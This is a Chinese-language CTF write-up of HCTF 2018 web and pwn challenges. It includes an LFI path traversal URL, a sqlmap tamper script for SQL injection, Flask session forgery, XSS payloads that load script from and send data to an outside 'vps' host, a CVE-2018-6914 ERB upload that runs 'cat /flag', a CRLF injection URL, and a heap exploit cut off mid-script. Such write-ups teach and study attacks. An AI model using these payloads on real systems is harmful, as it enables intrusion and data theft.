一个招新小广告:FlappyPig 长期招新,尤其是 reverse+pwn 大佬。只要你感兴趣,只要你有耐心,只要你好学!!!请联系[email protected] 。
[TOC]
打开题目,f12发现
<!--source.php-->
以及hint和link:http://warmup.2018.hctf.io/index.php?file=hint.php
:
flag not here, and flag in ffffllllaaaagggg
看到source.php,发现源代码
<?php
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
发现只有
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
才能通过,但发现截取有问题
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
随即构造
http://warmup.2018.hctf.io/?file=hint.php?/../../../../../../../../ffffllllaaaagggg
即可拿到flag
我们发现在用cookie做身份校验的时候查询了数据库
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
发现其中用了json_decode
,那么我们可以尝试使用编码进行bypass,即可无视一切过滤进行注入
脚本如下
a.txt:
POST /admin/list.php HTTP/1.1
Host: kzone.2018.hctf.io
Content-Length: 33
Cache-Control: max-age=0
Origin: http://kzone.2018.hctf.io
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Referer: http://kzone.2018.hctf.io/admin/login.php
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.1.3,1,2,3,4
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: PHPSESSID=7notm2n004aen7oln00ohd9ei3; islogin=1; login_data=*
Connection: close
user=rr123&pass=rr123&login=Login
Command:
python sqlmap.py -r a.txt --tamper=hctf --dbs --dbms=mysql --thread=10 -D hctf_kouzone -T F1444g -C F1a9 --dump -v3
tamper/hctf.py
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
data = '''{"admin_user":"%s"};'''
payload = payload.lower()
payload = payload.replace('u', '\u0075')
payload = payload.replace('o', '\u006f')
payload = payload.replace('i', '\u0069')
payload = payload.replace('\'', '\u0027')
payload = payload.replace('\"', '\u0022')
payload = payload.replace(' ', '\u0020')
payload = payload.replace('s', '\u0073')
payload = payload.replace('#', '\u0023')
payload = payload.replace('>', '\u003e')
payload = payload.replace('<', '\u003c')
payload = payload.replace('-', '\u002d')
payload = payload.replace('=', '\u003d')
payload = payload.replace('f1a9', 'F1a9')
payload = payload.replace('f1', 'F1')
return data % payload
在非常迷茫的时候,肯定想到必须得结合改密码功能,那会不会是change这里有问题,于是仔细去看代码,发现使用了strlower()
def strlower(username):
username = nodeprep.prepare(username)
return username
后来搜到这样一篇文章
https://tw.saowen.com/a/72b7816b29ef30533882a07a4e1040f696b01e7888d60255ab89d37cf2f18f3e
对于如下字母
ᴀʙᴄᴅᴇꜰɢʜɪᴊᴋʟᴍɴᴏᴘʀꜱᴛᴜᴠᴡʏᴢ
具体编码可查https://unicode-table.com/en/search/?q=small+capital
nodeprep.prepare
会进行如下操作
ᴀ -> A -> a
我们容易想到一个攻击链:
于是成功得到flag
思路很清晰,伪造admin即可
然后发现软连接可用来任意文件读取,那么想到读取secret_key
读文件,文件名来源于日志
ln -s /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py 1.txt
zip -y 1.zip 1.txt
得到内容
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)
if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))
@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'
try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None
os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)
if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)
关键语句
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
但是SECRET_KEY是随机数,需要预测,那么需要py版本号
在
ln -s /app/main.py 1.txt
zip -y 1.zip 1.txt
发现内容
from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
return "Hello World from Flask in a uWSGI Nginx Docker container with \
Python 3.6 (default)"
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=True, port=80)
发现python是3.6版本的,那么即可尝试预测随机数
对于uuid.getnode()
尝试读取/sys/class/net/eth0/address
得到12:34:3e:14:7c:62
计算十进制:20015589129314
用python3.6去看一下随机数
random.seed(20015589129314)
print str(random.random()*100)
得到secret_key=11.935137566861131
尝试伪造session
eyJ1c2VybmFtZSI6ImFkbWluIn0.Dskfqg.pA9vis7kXInrrctifopdPNUOQOk
得到flag
这题贼无聊。。。order by password就行,然后一直注册fuzz
import requests
import hashlib
import threading
def md5(str):
sha = hashlib.md5(str)
encrypts = sha.hexdigest()
return encrypts
def reg(username,password):
url = 'http://game.2018.hctf.io/web2/action.php?action=reg'
data = {
"username":username,
"password":password,
"sex":"1",
"submit":"submit"
}
headers = {
'Connection': 'close',
}
r = requests.post(url=url,data=data,headers=headers)
def fuzz(start,end):
for i in range(start,end):
password = 'dSa8&&!@#$%^&d1nGy1aS3dja'+chr(i)
username=md5(password)
content = username + " " + password +" "+ str(i) + "\n"
reg(username, password)
print content
print str(start)+'~'+str(end)+"complete"
step=20
for i in range(33,127,step):
t = threading.Thread(target=fuzz, args=(i, i+step))
t.start()
一位一位得到密码dSa8&&!@#$%^&d1nGy1aS3dja
登录admin,即可
在http://share.2018.hctf.io/home/Alphatest
里看到我们的uid和当前file number。
在http://share.2018.hctf.io/home/share
存在xss。
content填入xss代码:<img src=s onerror='var p=document.createElement("script");p.src="https://vps";document.body.appendChild(p);'>
Download url随便填。
读取后台web页面,可以看到主要能用到的有addtest
和upload
。其中addtest
提交到/file/Alpha_test
,upload
提交到/file/upload
。
这两个的代码在tobots.txt中都有。这两个url都做了限定只有admin才能提交。
因此我们需要利用xss上传我们的文件。读取源码可以知道这是ruby on rails。我们可以上传erb模板文件。
在源码中使用了Tempfile.new(name.split('.'+ext)[0],Rails.root.to_s+"/public/upload")
队友找到cve 2018-6914(ruby2.5.0的hint,我本地版本不对卡了好久。。。。)
参考:https://hackerone.com/reports/302298
,我们可以构造文件名为/../../app/views/home/aa38.erb
,文件内容:<%= `cat /flag ` %>
,在这里文件名和文件内容都需要base64编码一次。
上传文件js payload:
$.get("http://share.2018.hctf.io/home/upload",function(data){
var token=data.substr(data.indexOf('name="authenticity_token" value="')+33,88);
var formData = new FormData();
formData.append("authenticity_token", token);
formData.append("file[context]", "zxcvxzcvxzcv");
var content = 'PCU9IGBjYXQgL2ZsYWcgYCAlPg=='; //这是文件内容的base64
var blob = new Blob([content], { type: "image/png"});
formData.append("file[myfile]", blob,"Ly4uLy4uL2FwcC92aWV3cy9ob21lL2FhMzguZXJi"); //这里是文件名的base64
formData.append("commit", 'submit');
var request = new XMLHttpRequest();
request.open("POST", "http://share.2018.hctf.io/file/upload");
request.send(formData);
request.onreadystatechange=function()
{
if (request.readyState==4)
{
$.ajax({url:'http://vps/',type:'POST',data:{'request_respone':request.response,'request_status':request.status},dataType:'jsonp',success:function(a){}});
}
}
});
上传之后我们的erb模板就已经躺在home目录下面了。但是需要通过管理员分享给自己才能拿到文件名。
文件分享payload:
$.get("http://share.2018.hctf.io/home/addtest",function(data){
var token=data.substr(data.indexOf('name="authenticity_token" value="')+33,88);
$.ajax({url:'http://share.2018.hctf.io/file/Alpha_test',type:'POST',data:{'token':token,'uid':'3','fid':'23','commit':'submit'},success:function(a){
$.get("http://vps/?set=aaa",function(b){});
}});
});
这里的fid就是当前文件个数。最后一个上传的文件就是我们的文件。
然后查看home/Alphatest,就能拿到文件名。
最后访问http://share.2018.hctf.io/?page=aa3820181111-336-12y58wh
获取flag。
登录进去发现有个path的302跳转,猜测这里有xss,试了一下不行,根据提示得到firefoxdriver,猜测有crlf,结合Transfer-Encoding
chunked头,尝试了一下post请求,这里要加content-length和xss-proction就可以弹回来了,然后就是替换bot的cookie,payload
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/user%0d%0aX-XSS-Protection:0%0d%0aContent-Length:300%0d%0a%0d%0a%3Cscript%20src%3dhttp://139.199.27.197:7000/1.js%3E%3C/script%3E
from pwn import *
context.endian = "little"
context.os = "linux"
context.arch = "amd64" #i386
context.terminal = ["deepin-terminal", '-x', 'sh', '-c']
context.word_size = 64 #32
context.log_level = "debug" #info, warn, critical
global io
binary = "./easyexp"
if __name__ == "__main__":
elf = ELF(binary)
libc = ELF("./libc.so.6")
pipe_argv = [binary,""]
pipe_env = {"LD_PRELOAD":"./libc.so.6"}
#pipe_env = {}
#io = process(pipe_argv, env=pipe_env)
io = remote('150.109.46.159',20004)
io.sendlineafter('token:', 'Ooh0jQajnHvoGq2lTlMt9tkT0EkellEa')
#pause()
print io.readuntil("name: ")
io.sendline("x" * 16)
print io.readuntil("x" * 16)
pid_buf = io.readuntil("@")[:-1]
log.warn(pid_buf.encode("hex"))
if len(pid_buf) == 1:
pid = u8(pid_buf)
elif len(pid_buf) == 2:
pid = u16(pid_buf)
print io.readuntil("$")
io.sendline("mkfile 12")
io.readuntil("something:")
#make chunk A
io.sendline("\x2f" * 0x30 + "a" * 0x50)
print io.readuntil("$")
io.sendline("mkfile \x36")
io.readuntil("something:")
#make chunk B
io.sendline("2" * 0x37)
path = "../../../proc/{}/cwd/(unreachable)/tmp".format(pid)
print io.readuntil("$")
io.sendline("mkdir " + path )
print io.readuntil("$")
io.sendline("mkfile 123")
io.readuntil("something:")
#make chunk C
io.sendline("3" * 0x100 + p16(0x150))
print io.readuntil("$")
io.sendline("mkfile 1234")
io.readuntil("something:")
#make chunk D
io.sendline("4" * 0x90)
#OVERLAP CHUNK C
path = "../../../" + "\x77" * (5 + 0x38) + p16(0x151)
print io.readuntil("$")
io.sendline("mkdir " + path )
#OVERLAP CHUNK C
path = "../../../" + "\x77" * (5 + 0x37)
print io.readuntil("$")
io.sendline("mkdir " + path )
#OVERLAP CHUNK C
path = "../../../" + "\x77" * (5 + 0x36)
print io.readuntil("$")
io.sendline("mkdir " + path )
#OVERLAP CHUNK C
path = "../../../" + "\x77" * (5 + 0x35)
print io.readuntil("$")
io.sendline("mkdir " + path )
#OVERLAP CHUNK C
path = "../../../" + "\x77" * (5 + 0x34)
print io.readuntil("$")
io.sendline("mkdir " + path )
#OVERLAP CHUNK C
path = "../../../" + "\x77" * (5 + 0x33)
print io.readuntil("$")
io.sendline("mkdir " + path )
#OVERLAP CHUNK C
path = "../../../" + "\x77" * (5 + 0x32)
print io.readuntil("$")
io.sendline("mkdir " + path )
#OVERLAP CHUNK C
path = "../../../" + "\x77" * (5 + 0x31)
print io.readuntil("$")
io.sendline("mkdir " + path )
#OVERLAP CHUNK C
path = "../../../" + "\x77" * (5 + 0x30) + "\x90"
print io.readuntil("$")
io.sendline("mkdir " + path )
#free and malloc to make an overlap chunk
print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline("5" * 0x130)
#fake overlaped chunk
for i in range(0, 0x10):
print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline("5" * (0x47 - i))
print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline("5" * 0x38 + p64(0x110))
for i in range(0, 0x7):
print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline("5" * (0x37 - i))
print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline("5" * 0x30 + p32(0x30))
#make fake chunk
print io.readuntil("$")
io.sendline